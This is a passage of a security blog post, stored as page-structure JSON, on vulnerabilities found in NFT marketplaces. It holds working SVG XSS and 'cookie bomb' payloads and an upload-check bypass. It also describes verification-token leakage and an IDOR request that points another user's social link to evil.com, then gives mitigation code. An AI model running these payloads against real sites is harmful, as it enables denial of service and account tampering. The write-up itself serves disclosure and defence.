xmlns",{"type":23,"tag":504,"props":33256,"children":33257},{"style":598},[33258],{"type":28,"value":601},{"type":23,"tag":504,"props":33260,"children":33261},{"style":622},[33262],{"type":28,"value":33263},"\"http://www.w3.org/2000/svg\"",{"type":23,"tag":504,"props":33265,"children":33266},{"style":31353},[33267],{"type":28,"value":4976},{"type":23,"tag":504,"props":33269,"children":33270},{"class":506,"line":687},[33271,33275,33280,33284,33288,33292,33296],{"type":23,"tag":504,"props":33272,"children":33273},{"style":31353},[33274],{"type":28,"value":31372},{"type":23,"tag":504,"props":33276,"children":33277},{"style":511},[33278],{"type":28,"value":33279},"title",{"type":23,"tag":504,"props":33281,"children":33282},{"style":31353},[33283],{"type":28,"value":9443},{"type":23,"tag":504,"props":33285,"children":33286},{"style":523},[33287],{"type":28,"value":30218},{"type":23,"tag":504,"props":33289,"children":33290},{"style":31353},[33291],{"type":28,"value":31407},{"type":23,"tag":504,"props":33293,"children":33294},{"style":511},[33295],{"type":28,"value":33279},{"type":23,"tag":504,"props":33297,"children":33298},{"style":31353},[33299],{"type":28,"value":4976},{"type":23,"tag":504,"props":33301,"children":33302},{"class":506,"line":736},[33303,33307,33311,33315,33319,33324],{"type":23,"tag":504,"props":33304,"children":33305},{"style":31353},[33306],{"type":28,"value":31372},{"type":23,"tag":504,"props":33308,"children":33309},{"style":511},[33310],{"type":28,"value":31393},{"type":23,"tag":504,"props":33312,"children":33313},{"style":529},[33314],{"type":28,"value":31518},{"type":23,"tag":504,"props":33316,"children":33317},{"style":598},[33318],{"type":28,"value":601},{"type":23,"tag":504,"props":33320,"children":33321},{"style":622},[33322],{"type":28,"value":33323},"\"text/javascript\"",{"type":23,"tag":504,"props":33325,"children":33326},{"style":31353},[33327],{"type":28,"value":4976},{"type":23,"tag":504,"props":33329,"children":33330},{"class":506,"line":785},[33331],{"type":23,"tag":504,"props":33332,"children":33333},{"style":523},[33334],{"type":28,"value":33335},"   alert(document.domain);\n",{"type":23,"tag":504,"props":33337,"children":33338},{"class":506,"line":813},[33339,33344,33348],{"type":23,"tag":504,"props":33340,"children":33341},{"style":31353},[33342],{"type":28,"value":33343},"   \u003C/",{"type":23,"tag":504,"props":33345,"children":33346},{"style":511},[33347],{"type":28,"value":31393},{"type":23,"tag":504,"props":33349,"children":33350},{"style":31353},[33351],{"type":28,"value":4976},{"type":23,"tag":504,"props":33353,"children":33354},{"class":506,"line":851},[33355,33360,33364],{"type":23,"tag":504,"props":33356,"children":33357},{"style":31353},[33358],{"type":28,"value":33359}," \u003C/",{"type":23,"tag":504,"props":33361,"children":33362},{"style":511},[33363],{"type":28,"value":33249},{"type":23,"tag":504,"props":33365,"children":33366},{"style":31353},[33367],{"type":28,"value":4976},{"type":23,"tag":24,"props":33369,"children":33370},{},[33371,33373,33380],{"type":28,"value":33372},"Although some marketplaces restrict the upload of SVG files, we discovered a way to bypass these checks. One particular instance involved the ",{"type":23,"tag":92,"props":33374,"children":33377},{"href":33375,"rel":33376},"https://xtingles.com/",[96],[33378],{"type":28,"value":33379},"xtingles Marketplace",{"type":28,"value":320},{"type":23,"tag":24,"props":33382,"children":33383},{},[33384],{"type":28,"value":33385},"Even though the file extension was validated based on its name, the content type was not checked. By renaming a file with an allowed extension and inserting an SVG file with the content type \"svg+xml,\", we were able to successfully upload the SVG file.",{"type":23,"tag":24,"props":33387,"children":33388},{},[33389],{"type":28,"value":33390},"Below, we show you how we did it.",{"type":23,"tag":24,"props":33392,"children":33393},{},[33394],{"type":28,"value":33395},"Request when the original SVG was sent, showing it is not accepted as format:",{"type":23,"tag":24,"props":33397,"children":33398},{},[33399],{"type":23,"tag":126,"props":33400,"children":33402},{"alt":7,"src":33401},"/posts/web2-bug-repellant-instructions/svg-1.png",[],{"type":23,"tag":24,"props":33404,"children":33405},{},[33406],{"type":28,"value":33407},"After changing the extension inside the file name.",{"type":23,"tag":24,"props":33409,"children":33410},{},[33411],{"type":23,"tag":126,"props":33412,"children":33414},{"alt":7,"src":33413},"/posts/web2-bug-repellant-instructions/svg-2.png",[],{"type":23,"tag":82,"props":33416,"children":33418},{"id":33417},"svgs-return",[33419],{"type":28,"value":33420},"SVGs Return",{"type":23,"tag":24,"props":33422,"children":33423},{},[33424],{"type":28,"value":33425},"We'll give credit where it's due. Some marketplaces mitigate the impact of XSS by storing images in IPFS, Amazon S3 buckets, or CloudFront.",{"type":23,"tag":24,"props":33427,"children":33428},{},[33429],{"type":28,"value":33430},"Unfortunately, this mitigation is still susceptible to a \"cookie bomb\" attack.",{"type":23,"tag":24,"props":33432,"children":33433},{},[33434],{"type":28,"value":33435},"This type of attack overwhelms a web server with an excessive number of cookies and can be used to achieve a Denial of Service (DoS), preventing users from accessing the file on the third-party service.",{"type":23,"tag":494,"props":33437,"children":33441},{"className":33438,"code":33439,"language":33440,"meta":7,"style":7},"language-jsx shiki shiki-themes slack-dark","\u003C?xml version=\"1.0\" encoding=\"UTF-8\"?>\n\u003C!DOCTYPE svg PUBLIC \"-//W3C//DTD SVG 1.1//EN\" \"http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd\">\n\n \u003Csvg xmlns=\"http://www.w3.org/2000/svg\">\n  \u003Ctitle>XSS\u003C/title>\n  \u003Cscript type=\"text/javascript\">\n   var Take_Domain = window.location.hostname.split('.').slice(-2).join('.');\n   var Set_Cookie = Array(10000).join('a');\n\n   for (var i = 1; i \u003C 99; i++) {\n    document.cookie = 'Cookie' + i + '=' + Set_Cookie + ';Domain=' + Take_Domain;\n   }\n   \u003C/script>\n \u003C/svg>\n","jsx",[33442],{"type":23,"tag":56,"props":33443,"children":33444},{"__ignoreMap":7},[33445,33484,33515,33522,33549,33580,33607,33615,33623,33630,33642,33717,33725,33740],{"type":23,"tag":504,"props":33446,"children":33447},{"class":506,"line":507},[33448,33452,33456,33460,33464,33468,33472,33476,33480],{"type":23,"tag":504,"props":33449,"children":33450},{"style":598},[33451],{"type":28,"value":33155},{"type":23,"tag":504,"props":33453,"children":33454},{"style":529},[33455],{"type":28,"value":33160},{"type":23,"tag":504,"props":33457,"children":33458},{"style":529},[33459],{"type":28,"value":33165},{"type":23,"tag":504,"props":33461,"children":33462},{"style":598},[33463],{"type":28,"value":601},{"type":23,"tag":504,"props":33465,"children":33466},{"style":622},[33467],{"type":28,"value":33174},{"type":23,"tag":504,"props":33469,"children":33470},{"style":529},[33471],{"type":28,"value":33179},{"type":23,"tag":504,"props":33473,"children":33474},{"style":598},[33475],{"type":28,"value":601},{"type":23,"tag":504,"props":33477,"children":33478},{"style":622},[33479],{"type":28,"value":33188},{"type":23,"tag":504,"props":33481,"children":33482},{"style":598},[33483],{"type":28,"value":33193},{"type":23,"tag":504,"props":33485,"children":33486},{"class":506,"line":540},[33487,33491,33495,33499,33503,33507,33511],{"type":23,"tag":504,"props":33488,"children":33489},{"style":598},[33490],{"type":28,"value":33201},{"type":23,"tag":504,"props":33492,"children":33493},{"style":529},[33494],{"type":28,"value":33206},{"type":23,"tag":504,"props":33496,"children":33497},{"style":529},[33498],{"type":28,"value":33211},{"type":23,"tag":504,"props":33500,"children":33501},{"style":529},[33502],{"type":28,"value":33216},{"type":23,"tag":504,"props":33504,"children":33505},{"style":622},[33506],{"type":28,"value":33221},{"type":23,"tag":504,"props":33508,"children":33509},{"style":622},[33510],{"type":28,"value":33226},{"type":23,"tag":504,"props":33512,"children":33513},{"style":598},[33514],{"type":28,"value":4976},{"type":23,"tag":504,"props":33516,"children":33517},{"class":506,"line":555},[33518],{"type":23,"tag":504,"props":33519,"children":33520},{"emptyLinePlaceholder":16},[33521],{"type":28,"value":1038},{"type":23,"tag":504,"props":33523,"children":33524},{"class":506,"line":633},[33525,33529,33533,33537,33541,33545],{"type":23,"tag":504,"props":33526,"children":33527},{"style":31353},[33528],{"type":28,"value":7702},{"type":23,"tag":504,"props":33530,"children":33531},{"style":511},[33532],{"type":28,"value":33249},{"type":23,"tag":504,"props":33534,"children":33535},{"style":529},[33536],{"type":28,"value":33254},{"type":23,"tag":504,"props":33538,"children":33539},{"style":598},[33540],{"type":28,"value":601},{"type":23,"tag":504,"props":33542,"children":33543},{"style":622},[33544],{"type":28,"value":33263},{"type":23,"tag":504,"props":33546,"children":33547},{"style":31353},[33548],{"type":28,"value":4976},{"type":23,"tag":504,"props":33550,"children":33551},{"class":506,"line":687},[33552,33556,33560,33564,33568,33572,33576],{"type":23,"tag":504,"props":33553,"children":33554},{"style":31353},[33555],{"type":28,"value":31372},{"type":23,"tag":504,"props":33557,"children":33558},{"style":511},[33559],{"type":28,"value":33279},{"type":23,"tag":504,"props":33561,"children":33562},{"style":31353},[33563],{"type":28,"value":9443},{"type":23,"tag":504,"props":33565,"children":33566},{"style":523},[33567],{"type":28,"value":30218},{"type":23,"tag":504,"props":33569,"children":33570},{"style":31353},[33571],{"type":28,"value":31407},{"type":23,"tag":504,"props":33573,"children":33574},{"style":511},[33575],{"type":28,"value":33279},{"type":23,"tag":504,"props":33577,"children":33578},{"style":31353},[33579],{"type":28,"value":4976},{"type":23,"tag":504,"props":33581,"children":33582},{"class":506,"line":736},[33583,33587,33591,33595,33599,33603],{"type":23,"tag":504,"props":33584,"children":33585},{"style":31353},[33586],{"type":28,"value":31372},{"type":23,"tag":504,"props":33588,"children":33589},{"style":511},[33590],{"type":28,"value":31393},{"type":23,"tag":504,"props":33592,"children":33593},{"style":529},[33594],{"type":28,"value":31518},{"type":23,"tag":504,"props":33596,"children":33597},{"style":598},[33598],{"type":28,"value":601},{"type":23,"tag":504,"props":33600,"children":33601},{"style":622},[33602],{"type":28,"value":33323},{"type":23,"tag":504,"props":33604,"children":33605},{"style":31353},[33606],{"type":28,"value":4976},{"type":23,"tag":504,"props":33608,"children":33609},{"class":506,"line":785},[33610],{"type":23,"tag":504,"props":33611,"children":33612},{"style":523},[33613],{"type":28,"value":33614},"   var Take_Domain = window.location.hostname.split('.').slice(-2).join('.');\n",{"type":23,"tag":504,"props":33616,"children":33617},{"class":506,"line":813},[33618],{"type":23,"tag":504,"props":33619,"children":33620},{"style":523},[33621],{"type":28,"value":33622},"   var Set_Cookie = Array(10000).join('a');\n",{"type":23,"tag":504,"props":33624,"children":33625},{"class":506,"line":851},[33626],{"type":23,"tag":504,"props":33627,"children":33628},{"emptyLinePlaceholder":16},[33629],{"type":28,"value":1038},{"type":23,"tag":504,"props":33631,"children":33632},{"class":506,"line":869},[33633,33638],{"type":23,"tag":504,"props":33634,"children":33635},{"style":523},[33636],{"type":28,"value":33637},"   for (var i = 1; i \u003C 99; i++) ",{"type":23,"tag":504,"props":33639,"children":33640},{"style":511},[33641],{"type":28,"value":9862},{"type":23,"tag":504,"props":33643,"children":33644},{"class":506,"line":878},[33645,33650,33654,33659,33663,33668,33673,33677,33681,33686,33690,33695,33699,33704,33708,33713],{"type":23,"tag":504,"props":33646,"children":33647},{"style":529},[33648],{"type":28,"value":33649},"    document",{"type":23,"tag":504,"props":33651,"children":33652},{"style":598},[33653],{"type":28,"value":320},{"type":23,"tag":504,"props":33655,"children":33656},{"style":529},[33657],{"type":28,"value":33658},"cookie",{"type":23,"tag":504,"props":33660,"children":33661},{"style":598},[33662],{"type":28,"value":31888},{"type":23,"tag":504,"props":33664,"children":33665},{"style":622},[33666],{"type":28,"value":33667},"'Cookie'",{"type":23,"tag":504,"props":33669,"children":33670},{"style":598},[33671],{"type":28,"value":33672}," + ",{"type":23,"tag":504,"props":33674,"children":33675},{"style":529},[33676],{"type":28,"value":2716},{"type":23,"tag":504,"props":33678,"children":33679},{"style":598},[33680],{"type":28,"value":33672},{"type":23,"tag":504,"props":33682,"children":33683},{"style":622},[33684],{"type":28,"value":33685},"'='",{"type":23,"tag":504,"props":33687,"children":33688},{"style":598},[33689],{"type":28,"value":33672},{"type":23,"tag":504,"props":33691,"children":33692},{"style":529},[33693],{"type":28,"value":33694},"Set_Cookie",{"type":23,"tag":504,"props":33696,"children":33697},{"style":598},[33698],{"type":28,"value":33672},{"type":23,"tag":504,"props":33700,"children":33701},{"style":622},[33702],{"type":28,"value":33703},"';Domain='",{"type":23,"tag":504,"props":33705,"children":33706},{"style":598},[33707],{"type":28,"value":33672},{"type":23,"tag":504,"props":33709,"children":33710},{"style":529},[33711],{"type":28,"value":33712},"Take_Domain",{"type":23,"tag":504,"props":33714,"children":33715},{"style":598},[33716],{"type":28,"value":866},{"type":23,"tag":504,"props":33718,"children":33719},{"class":506,"line":1221},[33720],{"type":23,"tag":504,"props":33721,"children":33722},{"style":511},[33723],{"type":28,"value":33724},"   }\n",{"type":23,"tag":504,"props":33726,"children":33727},{"class":506,"line":1276},[33728,33732,33736],{"type":23,"tag":504,"props":33729,"children":33730},{"style":31353},[33731],{"type":28,"value":33343},{"type":23,"tag":504,"props":33733,"children":33734},{"style":511},[33735],{"type":28,"value":31393},{"type":23,"tag":504,"props":33737,"children":33738},{"style":31353},[33739],{"type":28,"value":4976},{"type":23,"tag":504,"props":33741,"children":33742},{"class":506,"line":1285},[33743,33747,33751],{"type":23,"tag":504,"props":33744,"children":33745},{"style":31353},[33746],{"type":28,"value":33359},{"type":23,"tag":504,"props":33748,"children":33749},{"style":511},[33750],{"type":28,"value":33249},{"type":23,"tag":504,"props":33752,"children":33753},{"style":31353},[33754],{"type":28,"value":4976},{"type":23,"tag":24,"props":33756,"children":33757},{},[33758],{"type":28,"value":33759},"As a result, we're able to prevent the user from loading images.",{"type":23,"tag":70,"props":33761,"children":33763},{"id":33762},"authentication",[33764],{"type":28,"value":33765},"Authentication",{"type":23,"tag":24,"props":33767,"children":33768},{},[33769],{"type":23,"tag":1887,"props":33770,"children":33771},{},[33772,33774,33781],{"type":28,"value":33773},"The door could not be heard slamming; they had probably left it open, as is the custom in homes where a ",{"type":23,"tag":92,"props":33775,"children":33778},{"href":33776,"rel":33777},"https://auth0.com/docs/get-started/identity-fundamentals/authentication-and-authorization",[96],[33779],{"type":28,"value":33780},"great misfortune has occured",{"type":28,"value":320},{"type":23,"tag":82,"props":33783,"children":33785},{"id":33784},"verification-token-leakage",[33786],{"type":28,"value":33787},"Verification Token Leakage",{"type":23,"tag":24,"props":33789,"children":33790},{},[33791],{"type":28,"value":33792},"When a user signs up for a service or creates an account that requires email verification, the system generates a unique token and sends it to the provided email address.",{"type":23,"tag":24,"props":33794,"children":33795},{},[33796],{"type":28,"value":33797},"This token is usually a random combination of letters, numbers, and symbols that are designed to be difficult to guess. The user is then instructed to verify their email by clicking a link that was sent to their inbox. However, if the email verification flow is not implemented correctly, it can result in security vulnerabilities.",{"type":23,"tag":24,"props":33799,"children":33800},{},[33801,33806],{"type":23,"tag":1887,"props":33802,"children":33803},{},[33804],{"type":28,"value":33805},"Proof of Concept",{"type":28,"value":33807},"\nWhile reviewing the Tensor website source code, we found a feature that allowed us to send verification emails to any email with a spoofed verification link. This could potentially result in the leakage of email verification codes, enabling an attacker to associate a victim’s email with their own account.",{"type":23,"tag":24,"props":33809,"children":33810},{},[33811],{"type":28,"value":33812},"Here's the breakdown.",{"type":23,"tag":24,"props":33814,"children":33815},{},[33816],{"type":28,"value":33817},"First, we send the verification link to a user's email:",{"type":23,"tag":30327,"props":33819,"children":33820},{"style":30329},[33821],{"type":23,"tag":126,"props":33822,"children":33826},{"src":33823,"alt":33824,"style":33825},"/posts/web2-bug-repellant-instructions/token-leakage.png","token-leakage","max-height:650px;",[],{"type":23,"tag":24,"props":33828,"children":33829},{},[33830],{"type":28,"value":33831},"If the user clicks on the spoofed URL, their token will be stolen, allowing the attacker to link their account to the victim’s email.",{"type":23,"tag":82,"props":33833,"children":33835},{"id":33834},"idor",[33836],{"type":28,"value":33837},"IDOR",{"type":23,"tag":24,"props":33839,"children":33840},{},[33841],{"type":23,"tag":1887,"props":33842,"children":33843},{},[33844,33846,33853],{"type":28,"value":33845},"As Gregor Samsa awoke one morning from uneasy dreams he found himself transformed in his bed into a gigantic ",{"type":23,"tag":92,"props":33847,"children":33850},{"href":33848,"rel":33849},"https://cheatsheetseries.owasp.org/cheatsheets/Insecure_Direct_Object_Reference_Prevention_Cheat_Sheet.html",[96],[33851],{"type":28,"value":33852},"insect",{"type":28,"value":320},{"type":23,"tag":24,"props":33855,"children":33856},{},[33857,33859,33865],{"type":28,"value":33858},"During a security assessment of the ",{"type":23,"tag":92,"props":33860,"children":33863},{"href":33861,"rel":33862},"https://rocki.com",[96],[33864],{"type":28,"value":30265},{"type":28,"value":33866},", a critical vulnerability known as an Insecure Direct Object Reference (IDOR) was identified within the social link modification functionality. Exploiting this vulnerability enables an attacker to modify the social media links of other users without proper authorization.",{"type":23,"tag":24,"props":33868,"children":33869},{},[33870],{"type":28,"value":33871},"The specific vulnerable endpoint was identified as a POST request to /api/user/modifySocialLink, which is responsible for handling requests to update social media links associated with user accounts. This endpoint requires two parameters: \"newLink\" to specify the desired social media link and \"id\" to indicate the user's ID.",{"type":23,"tag":24,"props":33873,"children":33874},{},[33875],{"type":28,"value":33876},"Now, to exploit this vulnerability, an attacker can intercept or modify the request being sent to the \"POST /api/user/modifySocialLink\" endpoint. By manipulating the \"id\" parameter with the user ID of another user, the attacker is able to bypass proper authorization checks and modify the social media link associated with the targeted user's account.",{"type":23,"tag":24,"props":33878,"children":33879},{},[33880,33882,33888,33890,33895],{"type":28,"value":33881},"Here is an example of a request that modifies another user's social media link to ",{"type":23,"tag":56,"props":33883,"children":33885},{"className":33884},[],[33886],{"type":28,"value":33887},"https://evil.com/",{"type":28,"value":33889},". To achieve this, we simply changed the ",{"type":23,"tag":56,"props":33891,"children":33893},{"className":33892},[],[33894],{"type":28,"value":2462},{"type":28,"value":33896}," field value to one that belongs to another user:",{"type":23,"tag":24,"props":33898,"children":33899},{},[33900],{"type":23,"tag":126,"props":33901,"children":33903},{"alt":7,"src":33902},"/posts/web2-bug-repellant-instructions/idor-1.png",[],{"type":23,"tag":24,"props":33905,"children":33906},{},[33907],{"type":28,"value":33908},"The following screenshot is the response to our request:",{"type":23,"tag":24,"props":33910,"children":33911},{},[33912],{"type":23,"tag":126,"props":33913,"children":33915},{"alt":7,"src":33914},"/posts/web2-bug-repellant-instructions/idor-2.png",[],{"type":23,"tag":70,"props":33917,"children":33919},{"id":33918},"preventative-action-steps-for-marketplaces",[33920],{"type":23,"tag":296,"props":33921,"children":33922},{},[33923],{"type":28,"value":33924},"Preventative Action Steps for Marketplaces",{"type":23,"tag":24,"props":33926,"children":33927},{},[33928],{"type":28,"value":33929},"To mitigate the vulnerabilities we’ve discussed, NFT marketplaces must prioritize the implementation of robust security measures. Below, we outline potential mitigations that can help platforms enhance their security posture and protect users and their valuable digital assets.",{"type":23,"tag":24,"props":33931,"children":33932},{},[33933,33935,33941,33943,33949],{"type":28,"value":33934},"First and foremost, NFT marketplaces should prioritize security by strengthening their input validation and output encoding processes. This can be done by encoding untrusted data with HTML entities in backend or using ",{"type":23,"tag":56,"props":33936,"children":33938},{"className":33937},[],[33939],{"type":28,"value":33940},"innerText",{"type":28,"value":33942}," instead of ",{"type":23,"tag":56,"props":33944,"children":33946},{"className":33945},[],[33947],{"type":28,"value":33948},"innerHTML",{"type":28,"value":33950}," in client-side:",{"type":23,"tag":494,"props":33952,"children":33954},{"className":496,"code":33953,"language":498,"meta":7,"style":7},"document.getElementById('nftCollectionName').innerText = nftCollectionName;\n",[33955],{"type":23,"tag":56,"props":33956,"children":33957},{"__ignoreMap":7},[33958],{"type":23,"tag":504,"props":33959,"children":33960},{"class":506,"line":507},[33961,33965,33969,33974,33978,33983,33987,33991,33995,34000],{"type":23,"tag":504,"props":33962,"children":33963},{"style":529},[33964],{"type":28,"value":31685},{"type":23,"tag":504,"props":33966,"children":33967},{"style":523},[33968],{"type":28,"value":320},{"type":23,"tag":504,"props":33970,"children":33971},{"style":517},[33972],{"type":28,"value":33973},"getElementById",{"type":23,"tag":504,"props":33975,"children":33976},{"style":523},[33977],{"type":28,"value":526},{"type":23,"tag":504,"props":33979,"children":33980},{"style":622},[33981],{"type":28,"value":33982},"'nftCollectionName'",{"type":23,"tag":504,"props":33984,"children":33985},{"style":523},[33986],{"type":28,"value":270},{"type":23,"tag":504,"props":33988,"children":33989},{"style":529},[33990],{"type":28,"value":33940},{"type":23,"tag":504,"props":33992,"children":33993},{"style":598},[33994],{"type":28,"value":648},{"type":23,"tag":504,"props":33996,"children":33997},{"style":529},[33998],{"type":28,"value":33999}," nftCollectionName",{"type":23,"tag":504,"props":34001,"children":34002},{"style":523},[34003],{"type":28,"value":866},{"type":23,"tag":24,"props":34005,"children":34006},{},[34007],{"type":28,"value":34008},"However, rendering HTML or markdown user input is intended. In these cases, dangerous HTML tags need to be validated and sanitized via consolidated libraries like DomPurify:",{"type":23,"tag":494,"props":34010,"children":34012},{"className":496,"code":34011,"language":498,"meta":7,"style":7},"var sanitizedInput = DOMPurify.sanitize(userInput);\n",[34013],{"type":23,"tag":56,"props":34014,"children":34015},{"__ignoreMap":7},[34016],{"type":23,"tag":504,"props":34017,"children":34018},{"class":506,"line":507},[34019,34024,34029,34033,34038,34042,34047,34051,34056],{"type":23,"tag":504,"props":34020,"children":34021},{"style":511},[34022],{"type":28,"value":34023},"var",{"type":23,"tag":504,"props":34025,"children":34026},{"style":529},[34027],{"type":28,"value":34028}," sanitizedInput",{"type":23,"tag":504,"props":34030,"children":34031},{"style":598},[34032],{"type":28,"value":648},{"type":23,"tag":504,"props":34034,"children":34035},{"style":529},[34036],{"type":28,"value":34037}," DOMPurify",{"type":23,"tag":504,"props":34039,"children":34040},{"style":523},[34041],{"type":28,"value":320},{"type":23,"tag":504,"props":34043,"children":34044},{"style":517},[34045],{"type":28,"value":34046},"sanitize",{"type":23,"tag":504,"props":34048,"children":34049},{"style":523},[34050],{"type":28,"value":526},{"type":23,"tag":504,"props":34052,"children":34053},{"style":529},[34054],{"type":28,"value":34055},"userInput",{"type":23,"tag":504,"props":34057,"children":34058},{"style":523},[34059],{"type":28,"value":630},{"type":23,"tag":24,"props":34061,"children":34062},{},[34063,34065,34072],{"type":28,"value":34064},"This can effectively mitigate the risk of XSS attacks. With that being said, implementing security measures such as ",{"type":23,"tag":92,"props":34066,"children":34069},{"href":34067,"rel":34068},"https://developer.mozilla.org/en-US/docs/Web/HTTP/CSP",[96],[34070],{"type":28,"value":34071},"Content-Security-Policy",{"type":28,"value":34073}," (CSP) will help ensure that generated content is rendered safely, without compromising the platform's security.",{"type":23,"tag":24,"props":34075,"children":34076},{},[34077],{"type":28,"value":34078},"Furthermore, a key step is for NFT marketplaces to establish strict file upload policies. By conducting thorough checks on file types and content, platforms can prevent the upload of potentially malicious SVG files. Validating both the file extension and content type will significantly reduce the risk of SVG-based XSS attacks, ensuring a safer user experience.",{"type":23,"tag":24,"props":34080,"children":34081},{},[34082,34084,34091],{"type":28,"value":34083},"Another precaution is to implement secure redirect mechanisms. By implementing a server-side allow-list of trusted domains, NFT marketplaces can prevent open redirect vulnerabilities. This ensures that users are directed only to trusted and intended domains, safeguarding them from potential phishing or malicious attacks where the authentication code is leaked. Here we are showing an example of a secure redirect by applying an ",{"type":23,"tag":92,"props":34085,"children":34088},{"href":34086,"rel":34087},"https://www.techtarget.com/whatis/definition/whitelist",[96],[34089],{"type":28,"value":34090},"allow-list",{"type":28,"value":34092}," :",{"type":23,"tag":494,"props":34094,"children":34096},{"className":496,"code":34095,"language":498,"meta":7,"style":7},"const allowDomains = ['https://allowed-domain'];\nif (!allowDomains.includes(domain)) {\n  throw new ApolloError('invalid domain');\n}\n",[34097],{"type":23,"tag":56,"props":34098,"children":34099},{"__ignoreMap":7},[34100,34129,34171,34201],{"type":23,"tag":504,"props":34101,"children":34102},{"class":506,"line":507},[34103,34107,34112,34116,34120,34125],{"type":23,"tag":504,"props":34104,"children":34105},{"style":511},[34106],{"type":28,"value":8635},{"type":23,"tag":504,"props":34108,"children":34109},{"style":529},[34110],{"type":28,"value":34111}," allowDomains",{"type":23,"tag":504,"props":34113,"children":34114},{"style":598},[34115],{"type":28,"value":648},{"type":23,"tag":504,"props":34117,"children":34118},{"style":523},[34119],{"type":28,"value":566},{"type":23,"tag":504,"props":34121,"children":34122},{"style":622},[34123],{"type":28,"value":34124},"'https://allowed-domain'",{"type":23,"tag":504,"props":34126,"children":34127},{"style":523},[34128],{"type":28,"value":30552},{"type":23,"tag":504,"props":34130,"children":34131},{"class":506,"line":540},[34132,34136,34140,34144,34149,34153,34158,34162,34166],{"type":23,"tag":504,"props":34133,"children":34134},{"style":544},[34135],{"type":28,"value":14560},{"type":23,"tag":504,"props":34137,"children":34138},{"style":523},[34139],{"type":28,"value":801},{"type":23,"tag":504,"props":34141,"children":34142},{"style":598},[34143],{"type":28,"value":19603},{"type":23,"tag":504,"props":34145,"children":34146},{"style":529},[34147],{"type":28,"value":34148},"allowDomains",{"type":23,"tag":504,"props":34150,"children":34151},{"style":523},[34152],{"type":28,"value":320},{"type":23,"tag":504,"props":34154,"children":34155},{"style":517},[34156],{"type":28,"value":34157},"includes",{"type":23,"tag":504,"props":34159,"children":34160},{"style":523},[34161],{"type":28,"value":526},{"type":23,"tag":504,"props":34163,"children":34164},{"style":529},[34165],{"type":28,"value":31695},{"type":23,"tag":504,"props":34167,"children":34168},{"style":523},[34169],{"type":28,"value":34170},")) {\n",{"type":23,"tag":504,"props":34172,"children":34173},{"class":506,"line":555},[34174,34179,34183,34188,34192,34197],{"type":23,"tag":504,"props":34175,"children":34176},{"style":544},[34177],{"type":28,"value":34178},"  throw",{"type":23,"tag":504,"props":34180,"children":34181},{"style":511},[34182],{"type":28,"value":30911},{"type":23,"tag":504,"props":34184,"children":34185},{"style":517},[34186],{"type":28,"value":34187}," ApolloError",{"type":23,"tag":504,"props":34189,"children":34190},{"style":523},[34191],{"type":28,"value":526},{"type":23,"tag":504,"props":34193,"children":34194},{"style":622},[34195],{"type":28,"value":34196},"'invalid domain'",{"type":23,"tag":504,"props":34198,"children":34199},{"style":523},[34200],{"type":28,"value":630},{"type":23,"tag":504,"props":34202,"children":34203},{"class":506,"line":633},[34204],{"type":23,"tag":504,"props":34205,"children":34206},{"style":523},[34207],{"type":28,"value":884},{"type":23,"tag":24,"props":34209,"children":34210},{},[34211,34213,34220,34222,34229],{"type":28,"value":34212},"As ",{"type":23,"tag":92,"props":34214,"children":34217},{"href":34215,"rel":34216},"https://graphql.org/",[96],[34218],{"type":28,"value":34219},"GraphQl",{"type":28,"value":34221}," is widely utilized by NFT marketplaces, it is crucial to understand the reasons behind disabling certain features like ",{"type":23,"tag":92,"props":34223,"children":34226},{"href":34224,"rel":34225},"https://graphql.org/learn/introspection/",[96],[34227],{"type":28,"value":34228},"introspection",{"type":28,"value":34230}," in production environments. By disabling introspection, it ensures that clients are unable to query the API's schema, preventing the potential exposure of sensitive information regarding its structure and implementation. Below, we provide an example of how to achieve this using the Apollo server:",{"type":23,"tag":494,"props":34232,"children":34234},{"className":496,"code":34233,"language":498,"meta":7,"style":7},"const server = new ApolloServer({\n  typeDefs,\n  resolvers,\n  introspection: false,\n});\n",[34235],{"type":23,"tag":56,"props":34236,"children":34237},{"__ignoreMap":7},[34238,34267,34279,34291,34307],{"type":23,"tag":504,"props":34239,"children":34240},{"class":506,"line":507},[34241,34245,34250,34254,34258,34263],{"type":23,"tag":504,"props":34242,"children":34243},{"style":511},[34244],{"type":28,"value":8635},{"type":23,"tag":504,"props":34246,"children":34247},{"style":529},[34248],{"type":28,"value":34249}," server",{"type":23,"tag":504,"props":34251,"children":34252},{"style":598},[34253],{"type":28,"value":648},{"type":23,"tag":504,"props":34255,"children":34256},{"style":511},[34257],{"type":28,"value":30911},{"type":23,"tag":504,"props":34259,"children":34260},{"style":517},[34261],{"type":28,"value":34262}," ApolloServer",{"type":23,"tag":504,"props":34264,"children":34265},{"style":523},[34266],{"type":28,"value":14120},{"type":23,"tag":504,"props":34268,"children":34269},{"class":506,"line":540},[34270,34275],{"type":23,"tag":504,"props":34271,"children":34272},{"style":529},[34273],{"type":28,"value":34274},"  typeDefs",{"type":23,"tag":504,"props":34276,"children":34277},{"style":523},[34278],{"type":28,"value":2484},{"type":23,"tag":504,"props":34280,"children":34281},{"class":506,"line":555},[34282,34287],{"type":23,"tag":504,"props":34283,"children":34284},{"style":529},[34285],{"type":28,"value":34286},"  resolvers",{"type":23,"tag":504,"props":34288,"children":34289},{"style":523},[34290],{"type":28,"value":2484},{"type":23,"tag":504,"props":34292,"children":34293},{"class":506,"line":633},[34294,34299,34303],{"type":23,"tag":504,"props":34295,"children":34296},{"style":529},[34297],{"type":28,"value":34298},"  introspection:",{"type":23,"tag":504,"props":34300,"children":34301},{"style":511},[34302],{"type":28,"value":8041},{"type":23,"tag":504,"props":34304,"children":34305},{"style":523},[34306],{"type":28,"value":2484},{"type":23,"tag":504,"props":34308,"children":34309},{"class":506,"line":687},[34310],{"type":23,"tag":504,"props":34311,"children":34312},{"style":523},[34313],{"type":28,"value":34314},"});\n",{"type":23,"tag":24,"props":34316,"children":34317},{},[34318,34320,34327,34329,34336],{"type":28,"value":34319},"Similarly, when ",{"type":23,"tag":92,"props":34321,"children":34324},{"href":34322,"rel":34323},"https://www.apollographql.com/blog/apollo-client/performance/batching-client-graphql-queries/",[96],[34325],{"type":28,"value":34326},"batching",{"type":28,"value":34328}," is enabled, the code should limit the number of queries that can run simultaneously and implement object request rate limiting. This additional measure helps protect the website from potential ",{"type":23,"tag":92,"props":34330,"children":34333},{"href":34331,"rel":34332},"https://en.wikipedia.org/wiki/Denial-of-service_attack",[96],[34334],{"type":28,"value":34335},"denial-of-service",{"type":28,"value":34337}," (DoS) attacks.",{"type":23,"tag":24,"props":34339,"children":34340},{},[34341],{"type":28,"value":34342},"Lastly, NFT marketplaces should pay close attention to authentication and authorization controls. Specifically, addressing 